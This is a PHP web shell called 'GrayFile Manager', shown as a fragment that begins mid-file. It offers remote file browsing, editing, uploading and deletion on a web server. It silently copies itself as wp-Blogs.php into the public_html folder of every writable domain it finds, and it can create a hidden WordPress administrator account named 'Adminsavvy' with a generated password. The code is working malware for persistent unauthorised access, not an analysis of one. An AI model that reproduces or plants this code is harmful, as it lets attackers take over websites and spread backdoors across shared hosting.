??????????????
🗑️ Folder deleted: " . htmlspecialchars(basename($target_file)) . " — Gone forever
";
} else {
unlink($target_file); // 📄 Remove file
echo "🗑️ File deleted: " . htmlspecialchars(basename($target_file)) . " — Vanished into nothingness
";
}
}
}
// === Breadcrumb Navigation — Show current location ===
function generate_breadcrumbs($path) {
$path_parts = explode('/', trim($path, '/'));
$current_path = '/';
$html_output = "📍 Current location: ";
foreach ($path_parts as $part) {
$current_path .= "$part/";
$html_output .= "$part/";
}
return $html_output;
}
// === Directory Listing — Show files and folders ===
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories
// NOTE: This script can create copies named wp-Blogs.php in other directories
// ezgZEGezge gezGZEgegezgzeGZEgzeG
// ezgZEGezge gezGZEgegezgzeGZEgzeG
// ezgZEGezge gezGZEgegezgzeGZEgzeG
function list_directory_contents($path) {
$output_html = '';
$folder_list = $file_list = [];
// 📁 Scan directory
foreach (scandir($path) as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = "$path/$item";
if (is_dir($full_path)) {
$folder_list[] = $item; // 🗂️ It's a folder
} else {
$file_list[] = $item; // 📄 It's a file
}
}
// 🔤 Sort alphabetically
natcasesort($folder_list);
natcasesort($file_list);
// 🗂️ Display folders first
foreach ($folder_list as $folder) {
$full_folder_path = "$path/$folder";
$output_html .= "📁 $folder |
❌ Remove";
}
// 📄 Display files
foreach ($file_list as $file) {
$full_file_path = "$path/$file";
$output_html .= "📄 $file |
✏️ Edit |
❌ Remove";
}
return $output_html;
}
// === View File Content — Read file contents ===
function display_file_content($path, $file) {
$full_file_path = "$path/$file";
if (!is_file($full_file_path)) return;
echo "👁️ Viewing: $file
";
echo htmlspecialchars(file_get_contents($full_file_path));
echo "
";
}
// === Edit File — Modify file content ===
function edit_file_content($path, $file) {
$full_file_path = "$path/$file";
if (!is_file($full_file_path)) return;
// 💾 Save changes if form submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
file_put_contents($full_file_path, $_POST['content']);
echo "✅ Changes saved — File updated successfully
";
}
$file_content = htmlspecialchars(file_get_contents($full_file_path));
echo "✏️ Editing: $file
";
}
// === Upload & Create — Add new files and folders ===
function handle_upload_and_creation($path) {
// 📤 Handle file upload
if (!empty($_FILES['upload_file']['name'])) {
move_uploaded_file($_FILES['upload_file']['tmp_name'], "$path/" . basename($_FILES['upload_file']['name']));
echo "📤 File uploaded successfully — New file added
";
}
// 🗂️ Create new folder
if (!empty($_POST['new_folder'])) {
$target_folder = "$path/" . basename($_POST['new_folder']);
if (!file_exists($target_folder)) {
mkdir($target_folder);
echo "📁 Folder created — New directory ready
";
} else {
echo "⚠️ Folder already exists — Choose different name
";
}
}
// 📄 Create new file
if (!empty($_POST['new_file_content']) && !empty($_POST['new_file_name'])) {
$file_name = basename($_POST['new_file_name']);
$target_file = "$path/$file_name";
if (!file_exists($target_file)) {
file_put_contents($target_file, $_POST['new_file_content']);
echo "📄 File created — New document ready
";
} else {
echo "⚠️ File already exists — Choose different name
";
}
}
// 🎛️ Display creation forms
echo "
🛠️ Management Tools
";
}
// === Generate Random Password — Create secure random password ===
function generate_random_password($length = 12) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()';
$password = '';
$chars_length = strlen($chars) - 1;
for ($i = 0; $i < $length; $i++) {
$password .= $chars[random_int(0, $chars_length)];
}
return $password;
}
// === Self-Replication — Create copies in other directories ===
function replicate_script($script_code) {
static $replication_done = false;
if ($replication_done) return [];
$replication_done = true;
$current_directory = __DIR__;
$created_clones = [];
// 🔍 Find domains directory
while ($current_directory !== '/') {
if (is_dir("$current_directory/domains")) {
foreach (scandir("$current_directory/domains") as $domain) {
if ($domain === '.' || $domain === '..') continue;
$target_directory = "$current_directory/domains/$domain/public_html";
$clone_file = "$target_directory/wp-Blogs.php"; // 🎯 Clone filename
if (is_dir($target_directory) && is_writable($target_directory)) {
if (file_put_contents($clone_file, $script_code)) {
$created_clones[] = "http://$domain/wp-Blogs.php";
}
}
}
break;
}
$current_directory = dirname($current_directory);
}
return $created_clones;
}
// === WordPress Admin — Create admin user with custom username and random password ===
function handle_wordpress_admin($path) {
if (!isset($_GET['create_wp_user'])) return;
$wordpress_path = $path;
while ($wordpress_path !== '/') {
if (file_exists("$wordpress_path/wp-config.php")) break;
$wordpress_path = dirname($wordpress_path);
}
if (!file_exists("$wordpress_path/wp-load.php")) {
echo "❌ WordPress not found — Operation cancelled
";
return;
}
require_once("$wordpress_path/wp-load.php");
// 🎯 Custom username - change this to whatever you want
$admin_username = 'Adminsavvy';
// 🔐 Generate random secure password
$admin_password = generate_random_password(16);
$admin_email = 'admin@graydomain.com';
if (!username_exists($admin_username) && !email_exists($admin_email)) {
$user_id = wp_create_user($admin_username, $admin_password, $admin_email);
$user_object = new WP_User($user_id);
$user_object->set_role('administrator');
// 📋 Display credentials clearly
echo "
✅ WordPress Admin User Created
👤 Username: $admin_username
🔑 Password: $admin_password
📧 Email: $admin_email
💡 Save these credentials - this password won't be shown again!
";
} else {
echo "⚠️ User '$admin_username' already exists — No changes made
";
}
}
// === Render Page — Display the interface ===
echo "
🌫️ GrayFile Manager
🌫️ GrayFile Manager
" . generate_breadcrumbs($current_path) . "
";
// 👤 WordPress Admin Button
echo "
";
handle_wordpress_admin($current_path);
// ⬆️ Go up one level
$parent_directory = dirname($current_path);
if ($parent_directory && $parent_directory !== $current_path) {
echo "
⬆️ Go up to parent directory
";
}
// 👁️ View or ✏️ Edit files
if (isset($_GET['view'])) display_file_content($current_path, basename($_GET['view']));
if (isset($_GET['edit'])) edit_file_content($current_path, basename($_GET['edit']));
// 🛠️ Upload and creation tools
handle_upload_and_creation($current_path);
// 🔄 Auto-replication (only from original script)
if (basename(__FILE__) !== 'wp-Blogs.php') {
$clone_list = replicate_script(file_get_contents(__FILE__));
if (!empty($clone_list)) {
echo "
✅ Script replicated to these locations:
";
foreach ($clone_list as $url) echo "- 🔗 $url
";
echo "
";
}
}
// 📋 Directory contents
echo "
📋 Contents of current directory:
" . list_directory_contents($current_path) . "
";
echo "
";
?>